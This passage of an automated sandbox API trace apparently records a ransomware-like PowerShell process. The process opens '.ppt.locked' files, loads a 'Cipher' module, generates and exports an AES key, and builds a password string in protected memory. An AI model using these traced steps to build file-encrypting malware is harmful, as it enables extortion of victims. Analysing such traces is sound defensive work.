[5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.639] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.639] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.641] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.641] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5e8, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.642] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc5, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.642] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.643] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae058) returned 1 [0126.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt.locked"), fInfoLevelId=0x0, lpFileInformation=0x6ab3c10 | out: lpFileInformation=0x6ab3c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1fde0, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xeb1fde0, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xeb1fde0, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8ab4)) returned 1 [0126.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae054) returned 1 [0126.646] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", nBufferLength=0x105, lpBuffer=0x99adb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked", lpFilePart=0x0) returned 0x52 [0126.647] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\piEhyZXpexRShbLI8IsB.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\piehyzxpexrshbli8isb.ppt.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x878 [0126.647] GetFileInformationByHandle (in: hFile=0x878, lpFileInformation=0x99ae0a0 | out: lpFileInformation=0x99ae0a0) returned 1 [0126.647] CloseHandle (hObject=0x878) returned 1 [0126.650] GetConsoleOutputCP () returned 0x1b5 [0126.651] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.651] GetConsoleOutputCP () returned 0x1b5 [0126.651] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.651] GetConsoleOutputCP () returned 0x1b5 [0126.651] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.651] GetConsoleOutputCP () returned 0x1b5 [0126.652] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.652] GetConsoleOutputCP () returned 0x1b5 [0126.652] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.652] GetConsoleOutputCP () returned 0x1b5 [0126.653] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.653] GetConsoleOutputCP () returned 0x1b5 [0126.653] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.653] GetConsoleOutputCP () returned 0x1b5 [0126.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.654] GetConsoleOutputCP () returned 0x1b5 [0126.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.654] GetConsoleOutputCP () returned 0x1b5 [0126.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.655] GetConsoleOutputCP () returned 0x1b5 [0126.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.655] GetConsoleOutputCP () returned 0x1b5 [0126.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.655] GetConsoleOutputCP () returned 0x1b5 [0126.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae560, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae560) returned 0 [0126.656] GetConsoleOutputCP () returned 0x1b5 [0126.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5f8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5f8) returned 0 [0126.656] GetConsoleOutputCP () returned 0x1b5 [0126.656] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.656] GetConsoleOutputCP () returned 0x1b5 [0126.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae5d4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae5d4) returned 0 [0126.657] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0126.657] GetConsoleOutputCP () returned 0x1b5 [0126.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0126.658] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.658] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6adace0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6adace0*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0126.659] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.659] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0126.665] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc6, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.665] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.665] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\x1038\x6a5\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\x1038\x6a5\x500") returned 0x0 [0126.665] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.665] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.665] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.665] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.666] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0126.666] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.667] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.667] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc7, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.667] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.668] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e028b0) returned 1 [0126.669] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84b38) returned 1 [0126.669] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.669] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.669] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ae48f0, pdwDataLen=0x99ae788 | out: pbData=0x6ae48f0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.669] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.670] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.670] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.670] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.670] SysStringLen (param_1="") returned 0x8 [0126.670] SysStringLen (param_1="y") returned 0x8 [0126.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.670] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0126.670] SysStringLen (param_1="\x6e82\x18be\xb6d7\xad35\xdede\x5f8d\xdf87\x322e") returned 0x8 [0126.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.670] SysStringLen (param_1="yc") returned 0x8 [0126.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="ܰ⥃농麪哈귻ꇵ変") returned 0x8 [0126.671] SysStringLen (param_1="ܰ⥃농麪哈귻ꇵ変") returned 0x8 [0126.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="ycU") returned 0x8 [0126.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="\x8d6d\xc9ae\xc797\xb065\x3de0\x1f20\xa07b\x8d65") returned 0x8 [0126.671] SysStringLen (param_1="\x8d6d\xc9ae\xc797\xb065\x3de0\x1f20\xa07b\x8d65") returned 0x8 [0126.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="ycUn") returned 0x8 [0126.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="\xb1ee\xa51e\x5be9\x6b46\x99a9\x857e\x8f84\xbbfa") returned 0x8 [0126.671] SysStringLen (param_1="\xb1ee\xa51e\x5be9\x6b46\x99a9\x857e\x8f84\xbbfa") returned 0x8 [0126.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="ycUny") returned 0x8 [0126.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.671] SysStringLen (param_1="慂噛博᪠亰끊棛柳") returned 0x8 [0126.671] SysStringLen (param_1="慂噛博᪠亰끊棛柳") returned 0x8 [0126.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="ycUnyZ") returned 0x8 [0126.672] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="唗ड़꬛쀼᷷꜌䅁厦") returned 0x8 [0126.672] SysStringLen (param_1="唗ड़꬛쀼᷷꜌䅁厦") returned 0x8 [0126.672] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="ycUnyZo") returned 0x8 [0126.672] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="ぇㄱ猜୯椈阧鹑姽") returned 0x8 [0126.672] SysStringLen (param_1="ぇㄱ猜୯椈阧鹑姽") returned 0x8 [0126.672] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="ycUnyZoB") returned 0x8 [0126.672] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.672] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f") returned 0x8 [0126.672] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f") returned 0x8 [0126.672] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f") returned 0x8 [0126.672] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f") returned 0x10 [0126.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.673] SysStringLen (param_1="ycUnyZoB3䃃ｪ䬷鎎䂤쏙㵜") returned 0x10 [0126.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.673] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x526d\x99ef\xe2cf\x7b55\xec20\xeb9d\x7ac7\x9c4d") returned 0x10 [0126.673] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x526d\x99ef\xe2cf\x7b55\xec20\xeb9d\x7ac7\x9c4d") returned 0x10 [0126.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.673] SysStringLen (param_1="ycUnyZoB3Yｪ䬷鎎䂤쏙㵜") returned 0x10 [0126.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.673] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\xe652\xce44\xeba9\xd4c6\xe7a2\xb6ae\xd7e4\xf2f2") returned 0x10 [0126.673] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\xe652\xce44\xeba9\xd4c6\xe7a2\xb6ae\xd7e4\xf2f2") returned 0x10 [0126.673] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.673] SysStringLen (param_1="ycUnyZoB3YB䬷鎎䂤쏙㵜") returned 0x10 [0126.673] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x1f23\x6d7a\x9a9f\x9411\x6370\xf0d7\xe4de\x1934") returned 0x10 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x1f23\x6d7a\x9a9f\x9411\x6370\xf0d7\xe4de\x1934") returned 0x10 [0126.674] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="ycUnyZoB3YBD鎎䂤쏙㵜") returned 0x10 [0126.674] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x97a0\xe718\x7f9c\x9838\xd64a\xaf40\x6b77\xcd36") returned 0x10 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x97a0\xe718\x7f9c\x9838\xd64a\xaf40\x6b77\xcd36") returned 0x10 [0126.674] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="ycUnyZoB3YBD5䂤쏙㵜") returned 0x10 [0126.674] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x86ee\xf836\x22a1\xa705\x68a1\x745c\x1bf1\xb6c4") returned 0x10 [0126.674] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x86ee\xf836\x22a1\xa705\x68a1\x745c\x1bf1\xb6c4") returned 0x10 [0126.674] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.674] SysStringLen (param_1="ycUnyZoB3YBD55쏙㵜") returned 0x10 